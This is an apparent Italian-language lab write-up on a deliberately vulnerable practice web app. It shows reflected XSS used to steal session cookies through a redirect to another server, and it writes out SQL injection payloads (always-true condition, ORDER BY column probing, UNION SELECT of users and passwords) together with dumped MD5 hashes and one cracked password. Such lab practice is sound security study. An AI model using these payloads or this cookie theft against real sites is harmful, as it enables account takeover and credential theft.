

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

In questo caso iniettando uno script delimitato dalle flag possiamo ottenere come output i cookie di sessione.

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

192.168.2.103

security=low; PHPSESSID=be61b7bc6b05cd7aee35d378e3883e2a

OK

Facendo cross site scripting possiamo ottenere i cookie di sessione di un potenziale visitatore del sito aggiungendo uno script che lo reindirizza ad un altro webserver, quindi estraendo i cookie dalla sessione precedente ed usandoli illecitamente per accedere alla sua sessione.

Per quanto riguarda la SQL injection possiamo verificare se il campo è iniettabile provando come in questo caso a imporre una condizione sempre vera affinché il database ci risponda con tutti i dati che contiene.

Vulnerability: SQL Injection

User ID:

ID: 1' or '1'='1
First name: admin
Surname: admin

ID: 1' or '1'='1
First name: Gordon
Surname: Brown

ID: 1' or '1'='1
First name: Hack
Surname: Me

ID: 1' or '1'='1
First name: Pablo
Surname: Picasso

ID: 1' or '1'='1
First name: Bob
Surname: Smith

Vulnerability: SQL Injection

User ID:

Per ottenere il numero di colonne le posso scorrere inviando come input il comando order by con un numero crescente ogni volta fin che il database non restituisce un errore, in questo caso l'errore si verifica alla colonna 3.

Unknown column '3' in 'order clause'

Vulnerability: SQL Injection

User ID:

ID: ' UNION SELECT user, password FROM users# - -
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users# - -
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users# - -
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users# - -
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users# - -
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Inserendo i nomi delle colonne desiderate possiamo estrarre i dati direttamente dal database, in questo caso i nomi utente sono in chiaro e le password in MD5 che è facilmente decriptabile.

e99a18c428cb38d5f260853678922e03 Decripta md5()

md5-decrypt("e99a18c428cb38d5f260853678922e03")

abc123